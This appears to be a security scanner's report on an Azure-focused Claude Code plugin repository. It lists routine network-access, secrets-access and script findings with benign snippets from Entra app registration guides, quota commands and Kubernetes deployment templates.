param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' 'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 20
'https://localhost:5001/signin-oidc' - Network accessline 21
'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 24
@description('Redirect URIs for single-page application') param spaRedirectUris array = [ 'http://localhost:3000' - Network accessline 25
param spaRedirectUris array = [ 'http://localhost:3000' 'https://myapp.azurewebsites.net' - Network accessline 26
'http://localhost:3000' - Network accessline 27
'https://myapp.azurewebsites.net' - Network accessline 53
enableAccessTokenIssuance: false } homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 54
} homePageUrl: 'https://myapp.azurewebsites.net' logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 55
homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 56
logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 65
publicClient: { redirectUris: [ 'http://localhost' - Network accessline 66
redirectUris: [ 'http://localhost' 'myapp://auth' - Network accessline 67
'http://localhost' - Network accessline 68
'myapp://auth' 'https://login.microsoftonline.com/common/oauth2/nativeclient' ] - Network accessline 69
'https://login.microsoftonline.com/common/oauth2/nativeclient' - Network accessline 175
// Information URLs info: { marketingUrl: 'https://myapp.example.com' - Network accessline 176
info: { marketingUrl: 'https://myapp.example.com' privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 177
marketingUrl: 'https://myapp.example.com' - Network accessline 178
privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 179
supportUrl: 'https://myapp.example.com/support' - Network accessline 180
termsOfServiceUrl: 'https://myapp.example.com/terms'
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/api-permissions.md
- Network accessline 49
Examples: https://graph.microsoft.com/User.Read - Network accessline 50
https://graph.microsoft.com/User.Read - Network accessline 51
https://graph.microsoft.com/Mail.Send - Network accessline 60
https://graph.microsoft.com/.default - Network accessline 134
1. Visit https://developer.microsoft.com/graph/graph-explorer - Network accessline 140
Visit: https://learn.microsoft.com/en-us/graph/permissions-reference - Network accessline 258
[Credential-related source omitted] - Network accessline 259
[Credential-related source omitted] - Network accessline 334
**Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values. - Network accessline 338
- [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) - Network accessline 339
- [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview) - Network accessline 340
- [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow) - Network accessline 341
- [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/cli-commands.md
- Network accessline 29
az ad app create \ --display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 30
--display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMyOrg" - Network accessline 31
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 37
az ad app create \ --display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ - Network accessline 38
--display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ --sign-in-audience "AzureADMyOrg" - Network accessline 39
--spa-redirect-uris "http://localhost:3000" \ - Network accessline 45
az ad app create \ --display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ - Network accessline 46
--display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ --sign-in-audience "AzureADMyOrg" - Network accessline 47
--public-client-redirect-uris "http://localhost" \ - Network accessline 53
az ad app create \ --display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 54
--display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMultipleOrgs" - Network accessline 55
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 116
az ad app update --id $APP_ID \ --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 117
--web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 122
az ad app update --id $APP_ID \ --spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 123
--spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 128
az ad app update --id $APP_ID \ --public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 129
--public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 364
# Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000" - Network accessline 366
REDIRECT_URI="http://localhost:3000"
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/console-app-example.md
- Network accessline 44
.Create(ClientId) .WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") - Network accessline 45
.WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") .Build(); - Network accessline 46
.WithRedirectUri("http://localhost") - Network accessline 87
var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me"); - Network accessline 139
CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Network accessline 140
TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"] - Network accessline 141
AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 197
response = requests.get( - Network accessline 198
'https://graph.microsoft.com/v1.0/me', - Access to secretsline 226
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Network accessline 268
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 269
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", } - Network accessline 270
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 280
const authCodeUrlParameters = { scopes: scopes, redirectUri: "http://localhost:3000", - Network accessline 281
scopes: scopes, redirectUri: "http://localhost:3000", }; - Network accessline 282
redirectUri: "http://localhost:3000", - Network accessline 308
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 309
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", clientSecret: "YOUR_CLIENT_SECRET", // From app registration - Network accessline 310
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 317
const clientCredentialRequest = { scopes: ["https://graph.microsoft.com/.default"], - Network accessline 318
scopes: ["https://graph.microsoft.com/.default"], - Network accessline 333
try { const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 334
const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 392
- [MSAL Libraries](https://learn.microsoft.com/entra/msal/)
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/first-app-registration.md
- Network accessline 16
- Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com - Network accessline 17
- Azure Portal access: https://portal.azure.com - Network accessline 22
1. Open [Azure Portal](https://portal.azure.com) - Network accessline 58
**URI examples:** - Web app: `https://localhost:5001/signin-oidc` - Network accessline 59
- Web app: `https://localhost:5001/signin-oidc` - Network accessline 60
- SPA: `http://localhost:3000` - Network accessline 61
- Console/Desktop: `http://localhost` - Network accessline 63
**For your first app:** Select **"Public client/native"** and enter `http://localhost` - Access to secretsline 168
[Credential-related source omitted] - Network accessline 187
# Interactive login az login --scope "https://graph.microsoft.com/.default" - Network accessline 188
az login --scope "https://graph.microsoft.com/.default" - Network accessline 190
# Get an access token az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 191
az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 213
**Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims. - Network accessline 251
- [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/oauth-flows.md
- Network accessline 26
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 50
https://your-app.com/callback? - Network accessline 62
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Network accessline 87
GET https://graph.microsoft.com/v1.0/me - Access to secretsline 88
[Credential-related source omitted] - Network accessline 126
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 139
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 177
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 180
client_id={application_id} &scope=https://graph.microsoft.com/.default - Network accessline 181
&scope=https://graph.microsoft.com/.default - Access to secretsline 182
[Credential-related source omitted] - Network accessline 186
**Parameters:** - `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - Network accessline 187
- `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - For your API: `api://{api_app_id}/.default` - Network accessline 188
- For Microsoft Graph: `https://graph.microsoft.com/.default` - Access to secretsline 194
[Credential-related source omitted] - Network accessline 203
GET https://graph.microsoft.com/v1.0/users - Access to secretsline 204
[Credential-related source omitted] - Network accessline 228
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode - Network accessline 238
"user_code": "GTHK-QPMN", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", - Network accessline 239
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, - Network accessline 240
"verification_uri": "https://microsoft.com/devicelogin", - Network accessline 241
"expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 242
"interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." } - Network accessline 243
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 250
To sign in, open https://microsoft.com/devicelogin - Network accessline 257
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 278
[Credential-related source omitted] - Network accessline 299
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 306
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Network accessline 335
{ "aud": "https://graph.microsoft.com", - Network accessline 336
"aud": "https://graph.microsoft.com", - Network accessline 337
"iss": "https://sts.windows.net/{tenant}/", - Network accessline 374
https://graph.microsoft.com/User.Read - Network accessline 375
https://graph.microsoft.com/Mail.Send - Network accessline 398
[OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/troubleshooting.md
- Network accessline 20
AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request - Network accessline 30
Registered: https://myapp.com/callback - Network accessline 31
Request: https://myapp.com/callback/ ❌ (trailing slash) - Network accessline 32
Request: https://MyApp.com/callback ❌ (case difference) - Network accessline 33
Request: https://myapp.com/callback ✅ - Network accessline 39
# CLI: az ad app update --id $APP_ID \ --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 40
az ad app update --id $APP_ID --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 41
--web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 177
Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to - Network accessline 183
**Tool:** https://jwt.ms - Network accessline 268
- [Microsoft Q&A](https://learn.microsoft.com/answers/) - Network accessline 269
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
harness/claude-code/plugins/azure-governance/skills/azure-quotas/SKILL.md
- Network accessline 52
| **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/ - Network accessline 53
| **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft. - Network accessline 54
| **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | - Network accessline 59
> **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall - Network accessline 60
> > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits - Network accessline 61
> REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do - Network accessline 243
| REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte - Network accessline 244
| `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man - Network accessline 245
| `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 253
**Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 254
- ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 268
|----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv - Network accessline 269
| **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L - Network accessline 270
| **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | - Network accessline 271
| **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 272
| **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) | - Network accessline 273
| **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |
harness/claude-code/plugins/azure-governance/skills/azure-quotas/references/commands.md
- Network accessline 18
> **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso - Network accessline 19
> 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure- - Network accessline 20
> 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 31
> - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 32
> - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona - Network accessline 33
> - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits - Network accessline 268
**Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 269
- Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 295
> **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma - Network accessline 296
> 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi - Network accessline 297
> 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 303
| Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem - Network accessline 304
|-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic - Network accessline 305
| `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
harness/claude-code/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-governance/skills/azure-role-selector/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration
harness/claude-code/plugins/azure-governance/skills/azure-well-architected-review/SKILL.md
- Network accessline 29
### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 30
Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`) - Network accessline 31
- `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 32
- Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
harness/claude-code/plugins/azure-kubernetes-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md
- Network accessline 22
echo "Endpoint not yet available — model may still be starting" else curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 23
else curl -X POST "${ENDPOINT}/v1/chat/completions" \ -H "Content-Type: application/json" \ - Network accessline 24
curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 30
> **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first: - Network accessline 35
> > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint - Network accessline 36
> kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ``` - Network accessline 37
> # Then use http://localhost:8080 as the endpoint
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md
- Network accessline 180
- **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 181
- **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 182
- **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md
- Network accessline 108
config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error { token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 109
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, }) - Network accessline 110
Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 199
The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/detection.md
- Network accessline 32
| Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | ` - Network accessline 33
| `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not - Network accessline 34
| `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/workload-identity.md
- Network accessline 39
Federated Credential ├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 40
├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 102
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 118
new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" })); - Network accessline 182
[Credential-related source omitted] - Network accessline 183
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 196
[Credential-related source omitted] - Network accessline 198
new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile
- Network accessline 56
ENV ASPNETCORE_URLS="http://+:8080" \ - Network accessline 60
# No HEALTHCHECK: the aspnet runtime image does not include curl or wget. - Network accessline 61
# Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary. - Network accessline 62
# health checking in AKS. For local Docker usage, install wget or add
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore
- Access to secretsline 7
[Credential-related source omitted]
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore
- Access to secretsline 9
[Credential-related source omitted]
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile
- Network accessline 74
# No HEALTHCHECK: the JRE Alpine image does not include wget or curl.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore
- Access to secretsline 4
[Credential-related source omitted]
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile
- Network accessline 60
# HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore
- Access to secretsline 3
[Credential-related source omitted]
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md
- Network accessline 17
| Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 18
|----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 19
| Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 20
| AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 21
| Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` | - Network accessline 22
| {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/SKILL.md
- Network accessline 25
You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i - Network accessline 125
If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n - Network accessline 126
> "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md
- Network accessline 93
"description": "OIDC issuer not enabled", "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 94
"remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." } - Network accessline 95
"documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 162
If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma - Network accessline 163
